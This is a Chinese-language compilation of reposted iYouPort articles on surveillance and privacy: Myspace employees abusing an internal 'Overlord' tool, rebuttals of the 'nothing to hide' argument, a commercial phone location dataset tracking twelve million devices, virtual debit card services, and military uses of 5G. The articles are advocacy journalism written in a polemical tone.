我们曾经嘲笑你是偏执狂，非常抱歉。我们担心你疯了，但现在我们也疯了，这意味着我们已经准备好了倾听，我们谈谈吧。

是时候了。早就是时候了。让我们彼此了解。悄无声息地，在黑暗中，留给我们的私人空间已经如此之小，现在几乎消失了。〇

If You're Not Paranoid, You're Crazy

原文

“每家公司都有给警察留的后门”，现在它正在被滥用于监视 - iyouport

你应该了解的现实监视资本主义的世界

【2019年12月4日存档】内部员工“滥用”后门，偷窥用户的消息和密码 —— 为什么会有后门？因为警察想要。

在社交网络鼎盛时期，多名 Myspace 员工滥用公司内部工具来监视用户，在某些情况下包括前合作伙伴。

据多名前雇员称，该工具被命名为“霸王”，允许员工查看用户的密码及私密消息。

虽然该工具最初旨在帮助调节平台并允许 MySpace 遵守执法请求，但多名消息人士表示，该工具被未经授权访问 Myspace 用户数据的员工用于非法目的。

“这基本上是 Myspace 平台的一个完整后门，”其中一位前雇员说（主板授予五名前 Myspace 员工匿名讨论内部事件）。

根据多个消息来源，滥用事件发生在该平台受欢迎程度最高的阶段。2006年秋季，该平台拥有的用户达到了一亿。大约就在这个时候，Myspace 是美国第二大最受欢迎的网站，排名高于谷歌搜索。

但这件事从来没有被报道过。足以表明，从社交媒体的早期阶段开始，敏感的用户数据和通信就已经很容易受到大型平台内部员工的攻击。

在某些情况下，用户数据被恶意访问，像 Facebook 和 Snapchat 这样的寡头公司也面临同样的问题。

据两名前雇员说，“霸王”是一个 Myspace 管理工具，用于收集信息以响应执法请求。它还被用来压缩平台上的内容，以及执行版权方面的审查删除请求。

“每家公司都有这种后门，”2006年至2010年担任 Myspace 首席安全官的 Hemanshu Nigam 在接受电话采访时表示，他指的是这些所谓的管理工具。

“无论是处理滥用行为、还是回应执法或民事请求或者管理用户的帐户，都用它，只要是前者提出了某种类型的问题。”

尽管社交媒体平台可能需要这样的工具用于满足执法目的，但四名前 Myspace 工作人员表示，“该工具用于捕获用户的登陆凭证”。

“更高层的权限可以查看用户正在搜索什么，可以看到他们是否正在查找他们的任何联系人或前男友/女友”，这位前员工说。

两位前雇员说霸王很容易使用。今天，管理工具能够访问用户密码的纯文本版本是不寻常的。（Facebook 可能要除外，该公司最近宣布它错误地以明文存储了数亿用户的密码）

Myspace 发言人告诉 Motherboard，内部 Myspace 管理工具“允许我们遵守执法请求或法院传票。”

“滥用用户数据将导致被解聘”，该发言人写道。

一些人也强调了为减轻内部人员滥用而采取的保护措施。

尽管如此，前雇员表示该工具仍然被滥用。

网络安全公司 Duo 的首席信息安全官员 Wendy Nather 说：“任何为特定的、非常特权的目的而编写的工具，都可能被滥用。”

他说，“设计人员和开发人员有责任在构建控件时将其置于假定可能被滥用的状态，并对其进行检查。”

“每家公司都有这种后门”。

多家科技巨头和社交媒体平台都面临着内部恶意员工的问题。主板此前曾报道称，Facebook 因滥用数据访问而解雇了多名员工。

7月，Motherboard 发现 Snapchat 内部员工也滥用访问权限间谍用户，并描述了一个名为 SnapLion 的内部工具。

该工具同样是声称为配合执法目的。

2005年，新闻集团以5.8亿美元收购了 Myspace 的母公司，然后在2011年以3500万美元的价格将其出售给在线广告公司 Specific Media 和 Justin Timberlake。

2016年，该公司数据被黑客入侵，其中包括后来被破解的用户密码哈希。

Tom Anderson，该社交网络的创建者和 Myspace 上每个人的默认第一个“朋友”，没有回应主板发送的评论请求。〇

When Myspace Was King, Employees Abused a Tool Called ‘Overlord’ to Spy on Users

原文

“没什么可隐藏的” - 这个愚蠢的反人权论调从何而来？ - iyouport

你应该了解的现实监视之恶-关于你可能还不知道的真相

【2020年6月18日存档】谁说宣传无效？有权有势的人完全能把全世界变得和他们一样愚蠢。

你经常能听到这样的荒谬观点：“我不需要隐私，因为我没什么可隐藏的”。这一观点至今都在全球流行，而不仅仅是中国。

那么它是怎么来的？

简介

「图」

“没什么可隐藏” 的人认为，政府监视是为了发现 “非法活动”，它们不会威胁到隐私，只要你循规蹈矩；如果政府监视程序发现了非法活动，则实施这些活动的人无权将其保密。

⚠赞成这种说法的人可能会说 “我没有什么可隐藏的”，以此来表示自己支持政府的监视，声明自己是 “好人”。

于是持这种观点的人声称 “只要你没什么可隐藏的，就不必担心政府的监视”。

- “Nothing to Hide: The False Tradeoff between Privacy and Security” by Daniel J. Solove

在英国推行闭路电视监视系统的时候，政府就以这句话作为座右铭：“如果你没有什么可隐瞒的，你就不必害怕”。

Upton Sinclair 在他1919年的《黄铜支票》中写道（指1914年列克星敦大道爆炸案）：

> 从头到尾我什么都没有隐藏，因此我什么都不怕，这对报纸来说是众所周知的，对爆炸案进行调查的警察也是如此。

- 《The Brass Check》Sinclair, Upton (1919). p. 194.

推荐 *Glenn Greenwald* 这个演讲，有中文字幕：

这一愚蠢的观点从来不是新鲜事

「图」

该论点通常用于有关隐私的讨论中。法律学者 Geoffrey Stone 说，这种说法的使用 “太普遍了”

数据安全专家和密码学家 Bruce Schneier 将其描述为“针对隐私倡导者的最常见的反驳”。

The Privacy Advocates 的作者 Colin J. Bennett 说，保护隐私的倡导者常常 “不得不不断驳斥” 这一论点。

- 《The privacy advocates: resisting the spread of surveillance》by Colin J. Bennett

Bennett 解释说，尽管 “有充分的证据表明，所有人都在遭受监视，但人们经常认为监视过程不是针对自己，而是针对那些不法分子”，认为 “监视机制是针对其他人的”。

这一论点 “已经在隐私文献中得到了充分的记载，成为发展实用的隐私保护策略的绊脚石，它也与 ‘隐私’ 一词本身的含糊性和象征性有关。”

隐私是一个抽象的概念，人们只有在隐私消失后才开始关注它。就如人们知道臭氧消耗和全球变暖是不利的发展，但是与 “驾驶汽车的直接便利” 相比，前者就变得无所谓了。面对隐私问题时也是类似逻辑”。

- 心理学角度《为什么人们对在线隐私如此虚伪？》

由 Ana Viseu、Andrew Clement 和 Jane Aspinal 进行的一项关于将在线服务整合到日常生活中的民族志研究于2004年在《信息、通信与社会》杂志上发表，题为 “在线隐私的处境：复杂的感知和日常实

践”。

调查发现，充分就业的中上中等收入者表达了类似的信念，即 他们不应该成为监视目标；而那些没有表示担忧的其他受访者（低收入人群）则认为，“自己没有做错任何事，或者没有什么可隐藏的。

在参与者样本中只有一位参与者报告说使用了隐私增强技术。Viseu 说：“受试者对隐私的感知和实践最明显的特征之一就是他们对问题的消极态度。被动性源于 “没什么可隐藏的” 论点。

在2003年左右对英国政府进行的定性研究中，Perri 博士提出了四种隐私风险观点，并映射了八个框架以显示隐私态度分布。根据这项研究，被调查者最初使用 “没什么可隐藏” 的观点，然后转向认为监视是一种令人讨厌的事情，而不是威胁。

支持和反对的论点

「图」

支持者 ——

前 Google 首席执行官 Eric Schmidt 说：“如果你不想让任何人知道某些事，也许你一开始就不应该这样做，但是如果你确实需要那种隐私，现实情况是，包括 Google 在内的搜索引擎都会保留这些信息一段时间，这一点很重要，例如，我们在美国都必须遵守（臭名昭著的）《爱国者法案》，可能会将这些信息提供给当局。”

- 谷歌如何协助当局追捕说出真相的人《他们是如何抓捕说真话的人？⚠灾难和教训》
- “Appendix II: Can We Be Persuaded to Become Pet-Lovers?” p. 326

在讨论 MAINWAY 计划时，前美国参议院多数党领袖 Trent Lott 说：“人们担心什么？有什么问题？难道你在做不应该做的事吗？”

- “BellSouth denies giving records to NSA”

英国作家 Johann Hari 辩称，“没什么可隐藏” 的论点与在公共场所布满闭路电视摄像机的措施无关，因为摄像机安置在公共场所，与而不是在 “你可以隐藏的地方”。

- Johann Hari: This strange backlash against CCTV

2015年11月，英国保守党议员 **Richard Graham** 被指控引用约瑟夫·戈培尔（**Joseph Goebbels**）的名言以捍卫一项新的监视法案，措辞为："如果你没有什么可隐藏的，那就没有什么可担心的"。

前保守党外交大臣 William Hague 在2013年也使用了同样的措辞。

- "Tory MP Richard Graham accused of quoting Joseph Goebbels in defence of new surveillance bill"

⚠如上，你看到，所有支持者都是寡头和政客。他们推动了恶意的愚蠢。

- 《极权社会的心理阴影：物质主义的由来、恶意愚蠢和攻击性冷漠（4）》

反对者 ——

Edward Snowden ："争辩说您不关心隐私权是因为您没有什么可隐藏的，就如同说您不在乎言论自由是因为您无话可说。"

- "Just days left to kill mass surveillance under Section 215 of the Patriot Act. We are Edward Snowden and the ACLU's Jameel Jaffer. AUA. • /r/IAmA"

"当您说 '我无话可说' 时，您是在说 '我不在乎这项权利'。权利的运作方式是，政府必须证明侵犯您权利的理由。"（现在你帮他们证明了）

Daniel J. Solove 在《高等教育纪事》的一篇文章中说，他反对这一观点。他说，政府可能泄漏有关某人的信息并对该人造成严重伤害，或者即使某人实际上并没有从事不正当行为，也可能受到惩罚，政府的任何失误都能毁掉一个人的生活。

Solove 写道："没什么可隐藏的观点可能会令人反感，因为它迫使辩论集中于对隐私的极为狭隘的理解上。但是，当面对政府数据收集和使用所带来的众多隐私问题而不仅仅是监视和泄露时，没什么可隐藏的观点最终无话可说。"

社交媒体研究人员 danah boyd（小写的名字）也反对该观点，他指出，"人们常常没能感受到遭遇国家监视的危险，只因为他们太循规蹈矩令当权者满意了"，对你了解越多的人越容易损害你的声誉、诽谤和操纵你。

- Danah Boyd: The problem with the ‘I have nothing to hide’ argument

《Privacy Rights: Moral and Legal Foundations》的作者 Adam D. Moore 说，“这种观点认为人权不如成本/利益甚至后果。我们必须拒绝这样一种观点，即 认为隐私利益是可以为了安全而进行交易的事物。”

他还表示，监视可以根据外观，种族和宗教对社会中的某些群体产生不成比例的影响。

Moore 认为，“没什么可隐藏” 的论点至少还有其他三个问题。首先，如果个人拥有隐私权，那么使用 “没什么可隐藏的” 观点就是无效的。隐私被理解为控制对空间、位置和个人信息的访问和使用的权利，这意味着由谁来确定访问权限。

为了说明这一点，Moore 提供了以下情况：“想象一下，有一天你离开家时，发现有人在垃圾桶中搜寻，将那些撕碎的便条和文件重新拼在一起。为应对您的震惊，他宣布 ‘您不必担心，没什么可隐藏的对吗？”

其次，个人可能希望掩盖主流文化不接受的尴尬行为或举止。“考虑某人的性病或病史。想象有人到图书馆去学习大多数人不接受的另类生活方式。”

如果 “没什么可隐藏” 的观点合理，那么国家安全局的特工、政客、警察局长和首席执行官，也没什么可隐藏的，他们应该像我们其他人一样完全透明。

“但是正相反，他们没有，而且这些政客、警察局长或首席执行官几乎总是认为他们自己去偷窥别人是一件好事。”

计算机安全专家和密码学家 Bruce Schneier 引用红衣教主的名言说：“如果给我六句由最诚实的人写的文字，我肯定能从中发现绞死他的理由”，指的是国家政府可以在一个人的生活中找到任何方面以起诉或勒索该人。

⚠ “太多人错误地将辩论固定在安全和隐私之间的权衡上。但事实上，真正的选择应该是自由还是成为奴隶。”

哲学家和心理分析家 Emilio Mordini 认为，“没什么可隐藏” 的观点本质上是自相矛盾的。人们不需要具有 “可隐藏的东西” 即可隐藏 “某

些东西”。重要的不是隐藏什么东西，而是应该存在一个可能用来隐藏的私密区域的经验。从心理学上讲，我们之所以成为 *个人* 是通过我们发现自己可以向他人隐藏某些东西。

Julian Assange 指出：“There is no killer answer yet”。Jacob Appelbaum 做出了明智的回应，要求持有这种观点的人将手机解锁并脱下裤子。

⚠“从哲学上讲，真正的答案是：大规模监视是一种大规模的结构性变化。当社会陷入困境时，即使你是地球上最卑鄙的人，也会深陷其中。”

- “Courage Foundation: Reddit AMA”

Harvey A. Silverglate 估计，普通人平均每天可以在完全不知情的情况下犯下三项重罪。

- Three Felonies a Day: How the Feds Target the Innocent. Encounter Books. 2011. ISBN 9781594032554

关于监视究竟是什么，我们曾经发布的 “监视之恶” 系列完全可以解释。👈这里是链接，现在它在分类列表中是一个完整的板块。

现在您至少明白了，这一流行全球的愚蠢论调究竟是怎么来的；尤其是，为什么它必须被抵制，以及如何抵制。〇

原文

1200万部电话，一个数据集：利维坦眼中的世界 - iyouport

你应该了解的现实你我的灾难现实监视之恶-关于你可能还不知道的真相监视资本主义的世界

【2020年6月16日存档】他们不仅会购买你最私密的生活，而且是花大价钱购买，他们可能会为一批数据支付超过100万美元。

每一天，在地球上的每一个角落，数十家寡头公司每时每刻都在记录着数千万人的活动，并将其信息存储在巨大的数据库中。这些公司几乎没有受到任何监督。

时报隐私项目获得了一个这样的文件，是迄今为止最大的、最敏感的文件。

跨越多个主要城市（包括华盛顿、纽约、旧金山和洛杉矶）超过1200万人的电话被收集了超过500亿个位置ping。

该文件中的每条信息代表2016年和2017年几个月内单个智能手机的精确位置。

数据是由匿名人士提供给 Times Opinion，他们要求匿名，因为他们无权共享这些数据，暴露身份可能会让他们受到严厉惩罚。消息来源说，他们对如何滥用这些数据感到震惊，并迫切希望向公众和立法者通报情况。

在花了几个月的时间筛选数据、跟踪全国各地的人员流动、并与研究该领域的数十家数据公司、技术人员、律师和学者交谈之后，我们感到了同样的担忧。

在数据文件覆盖的城市中，它跟踪几乎每个街区每个角落的所有人，无论这些人是住在弗吉尼亚州亚历山大的移动房里的穷人还是住在曼哈顿豪华大厦中的有钱人。

一次搜索发现，有十几个人造访了花花公子大厦，其中一些人在那里过夜。毫不费力就可以发现谁造访了约翰尼·德普（Johnny Depp）、泰格·伍兹（Tiger Woods）、和阿诺·施瓦辛格（Arnold Schwarzenegger）的地产，将设备的所有者简单地连接到具体地点。

如果您居住在该数据集覆盖的城市之一，并使用了共享您的位置的应用程序 —— 从天气应用程序、到本地新闻应用程序、到优惠券保存程序的任何东西 —— 您也在其中。

如果您可以看到这个数据集的整个功能，那么您可能永远也不会再以相同的方式使用手机了。

下面是纽约大中央总站的典型一天：

请注意：数据并非来自电信或大型科技公司，也不来自政府监视部门。

它起源于一个位置数据公司，该公司是数十个使用安装在手机应用程序上的软件悄悄收集实时的精确位置的监视公司之一。

您可能从未听说过大多数公司，但是对于任何有权访问此数据的人来说，您的一切私生活都是完全透明的。

他们可以看到您每天造访的地方、您与谁会面或一起过夜的地方、您祈祷的地方，无论是去戒毒所、精神病医生的办公室、还是按摩院。

很多媒体过去曾报道过智能手机跟踪。但是如此大的数据集是首次被曝光。

即便如此，该文件仍只是位置跟踪行业每天收集和销售的所有东西中一小部分 —— 监控在我们的数字生活中无处不在，现在似乎任何人都无法避免。

- 《你的手机如何背叛了民主？》
- 《你的手机就是秘密监视设备—Snowden访谈视频》
- 《返回基础知识：普通人如何强化智能手机和计算机的安全性》
- 《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》

这种永远在线的监视生活让整个世界都变成了极权体制。

在美国这种所谓的代议制民主国家中，如果政府试图强制要求每个12岁以上的人都携带一个追踪设备，每天24小时显示其位置，那么公民肯定会大为恼火。但是，自从苹果公司的 App Store 创建以来的十年中，人们已经主动同意了接受这种噩梦式的极权主义监视。

如今，数以千万计的美国人，包括许多孩子，几乎白天的每时每刻都在自己的口袋里揣着一个间谍，而在晚上就把这个间谍放在床旁。

“对这些消费产品的诱惑是如此强大，以至于我们看不到存在另一种在不侵犯隐私的情况下获得该技术好处的可能性。但确实存在。” 堪萨斯大学监视研究中心创始人 William Staples 说。

“所有收集此位置信息的公司都像我所说的 Tiny Brothers 一样，使用各种数据海绵疯狂吸取数据，以进行每时每刻的监视。”

甚至，收集和出售所有这些信息完全合法。在美国 —— 就像在世界上大多数地方一样 —— 没有任何联邦法律可以限制这种疯狂的追踪，它已经成为一项庞大而利润丰厚的交易。

你的一举一动的实时记录

「图」

收集有关您的一举一动的所有信息的公司基于以下三个主张来证明其业务合理：人们同意进行跟踪、数据是匿名的、数据是安全的。全都是谎言。

这个位置数据集包含数十亿个数据点，尽管没有诸如姓名或电子邮件地址之类的可识别信息；但是，将真实姓名与地图上显示的圆点联系起来是小孩子都能做到的事。

- 《即使数据是匿名的，您的身份仍然可以被识别》

看起来像这样：

在大多数情况下，确定家庭住址和办公室位置足以识别一个人。考虑一下您的日常通勤：每天还会有其他智能手机直接在您的家到办公室之间移动吗？

乔治敦大学法律中心的法学教授兼隐私研究员 Paul Ohm 表示，将位置数据描述为匿名是 “完全虚假的主张”，已经在多项研究中被揭穿。“真正精确的纵向地理位置信息绝对不可能匿名。”

“只有DNA可能是唯一比精确地理位置信息更难匿名的东西。”

但是公司继续声称数据是匿名的。在营销材料和贸易会议中，匿名是主要卖点，这是缓解对此类侵入性监控的担忧的关键。

必须有更多人站出来揭穿它们并拒绝信任，才有可能打破它们的诡计。

借助公开信息（例如家庭住址），可以轻松地识别并跟踪很多知名人士；跟踪军事人员夜间开车回家；追踪警察带孩子上学；跟踪大牌律师的私人飞机前往度假胜地 ……

数据集足够大，可以肯定地指出了丑闻和犯罪，但我们的目的并不是要挖掘丑闻。而是希望提醒监管不足的风险。

那些绿色的点在地图上的移动有时会揭露出一个人婚姻动摇的迹象、吸毒成瘾的证据、甚至出现心理问题的现象。

在特定时间和地点将位置ping与实际的人联系起来，就像在偷窥别人的秘密日记一样。

在一个案例中，我们确定了弗吉尼亚州的歌手 Mary Millben，曾为包括特朗普在内的三位总统演出。在总统就职典礼后的第二天，她被邀请参加华盛顿国家大教堂的仪式。那是第一次找到她的地方。*Mary Millben has performed for three presidents during her singing career. GETTY IMAGES*

一直以来，她手机上的应用程序一直都在监视着她，并细致地记录了她的位置和逗留时间。

就像我们在数据中发现的许多人一样，Millben 女士说，她在限制分享位置数据时非常谨慎。但是，也像许多其他人一样，她根本不知道是哪个或哪些应用曝光了她的私生活。

⚠ 对抗议者的追踪也同样令人震惊。

特朗普支持者的游行从国家广场消失后，Women’s March 的游行取代了他们 —— 有近五十万人涌入首都。仅查看抗议活动中的照片可能很难将面孔与名字联系在一起。但是，在这个数据集中，清楚地记录了抗议者在抗议前后的几个月中的私人生活，包括他们的居住地点和工作地点。

当权者可以借此追踪抓捕任何抗议者。

在数据集中发现了国防部的一位高级官员参加了 Women’s March 游行，从国家购物中心开始，经过史密森尼国家历史博物馆。那天他的妻子也在，这是我们追踪他到弗吉尼亚的家中后发现的。

对这位官员的数据追踪甚至还导致揭露了他高中生活、朋友的住所、对安德鲁斯联合基地的访问、在五角大楼度过的工作日、以及2017年与巴拉克·奥巴马总统在联合基地迈尔斯·亨德森大厅举行的仪式（在那里还跟踪到了十几部手机）。

就职典礼日周末还有其他抗议活动。星期五，数百名抗议者，其中一些人戴着黑头巾和口罩，在国家广场北部聚集，最终在富兰克林广场附近的一辆豪华轿车上放火。

数据集也清楚地记录了这些人的位置，和准确的行程时间。警察也在场，许多人的脸被防暴装备所遮盖，但是仅仅遮住脸是没用的。

该数据集甚至揭示了现场的至少两名警察的家在哪。

请注意这是仅依赖于一家监视公司、仅集中在一个城市的、不到一年的数据。而所有位置数据公司每天收集的信息量要比这个数据集的信息量高得多。

数据公司通常还会利用我们未使用的其他信息源。比如这个数据集中缺少的移动广告ID或其他身份标识，广告客户经常将其与人口统计信息（例如 家庭邮政编码、年龄、性别、甚至电话号码和电子邮件）结合使用，以创建详细受众群体资料。

合并数据集后，隐私风险会被快速放大。仅添加一个或两个其他来源，位置数据集中存在的任何保护措施都可能崩溃。

全球每天都有数十家公司从此类数据中获利 —— 通过直接从智能手机收集数据，创建新技术以更好地捕获数据或创建详尽的受众资料。

尽管其中许多这类公司从事跟踪所有人的业务已经多年，但这些公司本身对大多数人来说依旧是陌生的。*A Selection of Companies Working in the Location Data Business*

位置数据公司通常会轻视大规模收集此类揭示信息的风险。其中许多人还说，他们对潜在的法规或软件更新不是很在意，因为这可能会使收集位置数据更加困难。

几乎没有要求这些公司披露其数据收集的情况。根据法律，公司仅需在其隐私政策中描述其做法，这些政策往往是密集的法律文件，很少有人阅读，甚至很少人能真正理解。

一切都能被入侵

「图」

您的信息实际上不是匿名的。位置数据公司认为您的数据是安全的，由于它“存储在受保护的服务器上，因此不会带来任何实际风险”。但这是真的吗？

公开报道的数据泄露事件已经大肆破坏了这种保证，更不用说没有成为头条新闻的那些数据泄露了。实际上，正如这个故事所证明的那样，敏感信息很容易转移或泄漏。

目前，每个人的精确位置会短暂地用于有针对性的广告或通知，但是，随后会无限期地重新定位，以获取更多可盈利的目标，例如将购买的商品与高速公路上的广告牌广告联系起来。

- 《广告牌如何变得很危险》

在没有您的精确位置的情况下，许多使用您的位置的应用程序（例如气象服务）都可以很好地运行，但是，收集您的位置将为分析、许可和将信息传递给第三方带来丰厚的利润。*The data contains simple information like date, latitude and longitude, making it easy to inspect, download and transfer. Note: Values are randomized to protect sources and device owners.*

对于一些人而言，他们暴露信息所面临的唯一真正风险将是尴尬或不便。但是，对于其他人，例如遭受虐待的幸存者、抗议者、记者、活动家 ……风险可能是巨大的。

在一个案例中观察到 Microsoft 工程师的日常活动发生了变化。一个星期二下午，他访问了微软竞争对手亚马逊的西雅图主要校园。第二个月，他在亚马逊开始了新工作。只需几分钟时间就可以确定他是现任无人机交付服务 Amazon Prime Air 的经理 Ben Broili。

Broili 说：“我不能感到惊讶。但是知道所有人都可以掌握我的工作和生活地点，这很奇怪。”*Ben Broili’s interview at Amazon was captured in the data. GRANT HINDSLEY FOR THE NEW YORK TIMES*

如果使用这种位置数据可以轻松地跟踪大公司员工，那么跟踪名人也同样容易。狗仔队的无人机监视方法简直弱爆了。

希望通过亲自与消息来源会面来逃避其他形式的监视的记者，可能需要重新考虑这种做法了。该数据集覆盖的每个主要新闻编辑室都包含数十个 ping。

许多这类公司确实出售详细数据。买方通常是数据经纪人和广告公司。但其中一些与消费者广告无关，包括可以处理和分析大量信息的金融机构、地理空间分析公司和房地产投资公司。

据一位同意匿名讲话的前位置数据公司员工称，⚠他们可能会为一批数据支付超过**100**万美元。

位置数据也会与移动广告ID一起收集和共享，移动广告ID大约30位长，允许广告客户和其他企业将应用之间的活动联系在一起。

该ID还用于将位置信息与其他信息（例如您的姓名、家庭住址、电子邮件、电话号码、甚至是与您的Wi-Fi网络绑定的标识符）结合起来。也就是您完全裸奔。

这些数据几乎可以实时地进行交易，因此您的位置可以从智能手机转移到应用程序的服务器，并可以在几毫秒内导出到第三方。

然后再转售、复制、盗用和滥用该数据。您永远无法找到它。

位置数据远比消费者看到更多相关广告要严重得多。该信息为大企业提供了关键情报。

例如，去年在洛杉矶提起的诉讼显示，Weather Channel 应用是美国最受欢迎的天气软件应用之一，诉讼称 Weather Compan y将这些数据用于有针对性的营销和对冲基金分析。而且，Foursquare 在2016年通过其数据调查预测，在一场大肠杆菌危机之后，Chipotle 的销售额将在未来几个月内下降30％，因此备受关注。其销售额最终下降了29.7％

对位置数据的大部分关注都集中在电信巨头上，这些巨头已经将位置数据卖给第三方多年了。去年，Motherboard 发现，一旦数据被出售，就可以共享这些数据，以帮助赏金猎人实时找到特定目标人的手机。

然而，没有法律禁止他们这样做。

位置数据通过软件开发工具包SDKs从您的手机传输。该工具包是小型程序，可用于在应用程序中构建功能。它们使应用程序开发人员可以轻松地仅包括位置跟踪功能，这是诸如天气应用程序之类的服务的有用组成部分。

例如，Facebook、Google 和 Amazon 具有非常受欢迎的 SDKs，它们允许较小的应用程序连接到较大公司的广告平台。

但是他们也可以在应用程序上收集位置数据，同时不向应用程序提供任何实际服务。定位公司可能会支付要包含的应用程序的费用 —— 收集可以货币化的有价值的数据。

“如果您有SDK经常收集位置数据，很有可能会在整个行业内转售”。

市场的 “圣杯”

「图」

如果此信息如此敏感，为什么要首先收集它？

对于品牌而言，窥探某人的精确行动是 “理解客户历程” 的关键 —— 从查看广告到购买产品的过程的每个步骤。一位营销人员说，这是广告的圣杯，它是将所有人所有兴趣和在线活动与实际操作联系在一起的完整图景。

其他团体也开始寻找使用它的方法。

政治运动可以分析集会参与者的兴趣和身份信息，并使用这些信息来塑造他们的详细简介，以试图操纵特定的群体 —— 世界各国政府都可以使用某种新工具来识别抗议者。

- 这里是须知《指南：当您准备参加抗议活动...》

「图」

优惠券应用程序是否需要将第二位置数据出售给其他公司才能获利？这是否真的有理由让公司追踪数百万人并可能揭露我们每个人的私生活？

数据公司表示，用户 “同意” 在他们共享位置时进行跟踪。但是，这些同意书很少能清楚说明如何打包和出售数据。如果公司对数据处理

方式更加透明，还会有人会同意共享数据吗？

那么在黑客入侵和泄漏使隐私成为首要问题之前收集的数据又如何呢？应该仍然使用它，还是永久删除它？

如果今天存储的数据很容易被黑客入侵、泄露或被盗，那么值得冒这种风险继续收集吗？

不能指望从我们的一举一动中获利的公司自愿限制自己的做法。

可以肯定的是：我们生活在世界上最先进的监视系统中。该系统的建立是为了赚钱。技术公司曾经玩过的最邪恶诡计就是说服社会主动接受监视。〇

Twelve Million Phones, One Dataset, Zero Privacy

原文

3种最佳虚拟借记卡服务：支付中隐藏真实身份 - iYouPort

你应该了解的现实少数派报告

在很多情况下都需要使用它们

「图」

「图」

虚拟借记卡服务可让您在购买时隐藏真实身份信息。

例如，您可以插入虚拟的借记卡卡号，而不必使用常规的卡号从网上购买比较私密的商品，这样万一该卡发生了任何奇怪的事，它也不会影响您的真实借记卡。

您可以期望最好的虚拟卡服务提供一些简洁的功能，包括 限制其在某些时间和地点的使用，使用未完全实名的银行账户进行购买，只需几秒钟即可创建新卡，无需激活，并在一段时间后自动过期。

并没有很多值得选择的虚拟卡服务；它们中的大多数实际上都连接到了现有的银行，但是本文列出的是一些最好的独立（无银行隶属关系）虚拟支付服务，其中一个是完全免费的（另外两个可免费试用）。

为什么要使用虚拟借记卡？

使用虚拟借记卡的最常见原因是为了防止未经授权的收费并隐藏您的真实身份。但是在几种其他情况下您可能也会需要它。

如果您遇到以下这类情况之一，则值得使用虚拟支付卡：

- 对于不信任的网站
- 手边没有实体卡可以用
- 您正在将您的卡号提供给朋友代表您购买东西或转账

- 想要隐藏商家名称，使其不会显示在银行对帐单上
- 由于您的实体卡号无效或过期，因此被拒绝购买
- 想要限制您在特定网站上的支出

Privacy

「图」

「图」

Privacy 正如它的名字，就是为隐私而来的。它具有一些独特的功能：

- 它是完全免费的（绝对不收取任何费用）
- 可以创建一次性借记卡或可重复使用的借记卡
- 将卡锁定到一个商户，使其只能在此处使用
- 设置最高支出限额（每次、总计或每月/每年）
- 规定每张卡从哪个银行提取资金
- 随时暂停和恢复卡
- 取消卡以永久禁用卡号
- 在 Chrome 中即时创建
- 为您的虚拟支付卡命名，以跟踪您在哪里使用它们
- 在线使用或使用 Android 或 iOS 应用

Privacy 虚拟卡有很多非常好的用途。一种是如果您在陌生或不安全的地方购物，并且担心商户会丢失/出售您的卡号，只需制作一张商户锁定卡并将支出限额设置为所需的确切金额即可。

获取需要付款信息的试用版是另一个完美的用例。将支出限额设置为1块钱或低于第一笔付款金额的某个限额，然后使用您的卡进行注册即可，无需担心会被收取费用。或者，制作一张卡，然后将其详细信息输入到您要试用的项目，然后注销您的卡。

您所有虚拟卡上的所有交易都将显示在您的帐户中，就好像这是一张大银行对帐单一样，这有助于保持您对帐户使用方式的了解。

您还可以查看今天和过去30天内在 Privacy 上花费了多少。

Privacy 支持双因素身份验证，这使恶意者即使拥有密码也很难访问您的卡。

Privacy另一个便捷的安全功能是“私密付款”选项，该选项将在您的银行对帐单上显示 Privacy 的交易，或者您选择的以下任何一种选项（而不是您实际购买的商家）：Privacy.com，H＆H Hardware，Smileys Corner商店 或 NSA礼品店。

您还可以通过 Privacy 获得现金返还；使用 Privacy 卡进行的每笔购买可返利1％。但是，您需要一个 Cashback Key 才能使其正常工作。

Blur

「图」

「图」

Blur 是另一项服务，可让您创建虚拟卡，这样您就永远不会将真实卡号暴露给您所购物的网站。

当您准备购买商品时，它会代表您购买预付的礼品卡，以便您在订购时使用礼品卡号代替自己的卡号。所有这些都是在幕后进行的。

使用该虚拟卡非常简单。当需要输入卡信息时，您可以选择制作一张新的化名卡。Blur 会询问购买金额，然后立即为您提供卡号以匿名进行购买。

您可以通过桌面 Chrome 扩展程序或 Blur 移动应用程序使用 Blur。

您可以在开始的30天内免费获得 Blur Premium，但随后您必须以40美元/年的价格购买基本计划，或以15美元/月的价格购买无限制计划。

https://youtu.be/rFXgezs8dk0

注：Blur 实际上不仅仅是虚拟借记卡平台。您还可以使用它来存储密码、隐藏您的电子邮件和电话号码、以及阻止Web跟踪器。

Skrill

「图」

「图」

Skrill 不仅使您可以在线使用虚拟卡、还可以向朋友汇款、购买加密

货币、在线购物甚至玩扑克。

一旦您的 Skrill 帐户中有钱，就可以制作虚拟卡，以在支持万事达卡的任何地方在线使用。

只有第一张虚拟卡是免费的，但是它可以让您对网站隐藏个人真实信息，以保护您的隐私并保护资金。

Skrill 上的虚拟卡可以使用以下任何一种货币：USD、EUR、GBP或PLN。

您可以随时取消该卡，甚至可以选择该卡应处于激活状态的时间长短，以使其自动过期，对于拥有该卡号的任何人来说都将变得无效。

好了就是这样。希望这些工具可以帮到您。〇

原文

5G技术的隐秘军事用途 - iYouPort

你应该了解的现实地缘政治

关于5G的斗争不仅仅是商业层面的……

「图」

「图」

虽然早先的技术已完美地用于创建越来越先进的智能手机，但5G不仅旨在提高其性能，而且还主要用于连接需要大量数据才能自动工作的数字系统。

最重要的5G应用是在军事领域的。

- 5G究竟是干什么用的？见《5G网络的可怕潜力》

由国防科学委员会出版的《 5G网络技术的国防应用》解释了这项新技术提供的可能性，该委员会为五角大楼提供科学建议，它写道：

> 5G技术的出现为国防部提供了机会，以最低的成本
> 利用该系统的优势满足自身的运营需求。

换句话说，由私人公司建立和激活的5G商业网络将由美国军队使用，其支出要比为了纯粹的军事目标而建立网络所需的支出低得多。

军事专家预见到，5G系统将在使用高超音速武器方面发挥至关重要的作用 —— 导弹，包括带有核弹头的导弹，其飞行速度超过5马赫（音速的五倍）。

为了在可变轨迹上引导它们，并在不到一秒的时间内改变方向以避免被拦截，它必须在非常短的时间内收集、识别和传输大量数据。

如果使用此类武器发动攻击，则激活防御必须采取同样的措施 —— 因此唯一的可能性就是依靠5G自动系统。

这项新技术还将在作战网络中发挥关键作用。借助在限定区域内同时连接数百万个收发器的能力，它将使军事人员 —— 部门和个人 —— 几乎实时地相互传送有关正在进行的操作的地图、照片和其他信息。

